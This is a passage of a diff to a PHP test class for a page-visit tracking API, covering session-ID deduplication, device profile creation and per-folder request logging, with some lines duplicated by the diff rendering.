$this->assertSame('15.6.7', $row->browser_version);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test] #[Test]
public function profile_creates_device_from_device_info(): void public function profile_creates_device_from_device_info(): void
{ {
@@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('iPhone12,8', $device->device_model); $this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version); $this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id); $this->assertNull($device->channel_id);
$this->assertNull($device->user_agent);
} }
#[Test] #[Test]
@@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log)); $this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
} }
} }
#[Test]
public function iptj_logs_request_to_xxbb_folder(): void
{
Cache::flush();
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
@unlink($xxbbLog);
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)',
'HTTP_HOST' => 'landing.example',
'HTTP_CF_CONNECTING_IP' => '2001:db8::9',
'HTTP_X_FORWARDED_FOR' => '2001:db8::9',
'REMOTE_ADDR' => '104.16.1.1',
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->assertFileExists($xxbbLog);
$xxbbBody = (string) file_get_contents($xxbbLog);
$this->assertStringContainsString('/api/iptj', $xxbbBody);
$this->assertStringContainsString('56885688', $xxbbBody);
$this->assertStringContainsString('2001:db8::9', $xxbbBody);
$this->assertStringContainsString('104.16.1.1', $xxbbBody);
$this->assertStringContainsString('"recorded":true', $xxbbBody);
if (is_file($c2Log)) {
$this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log));
}
}
} }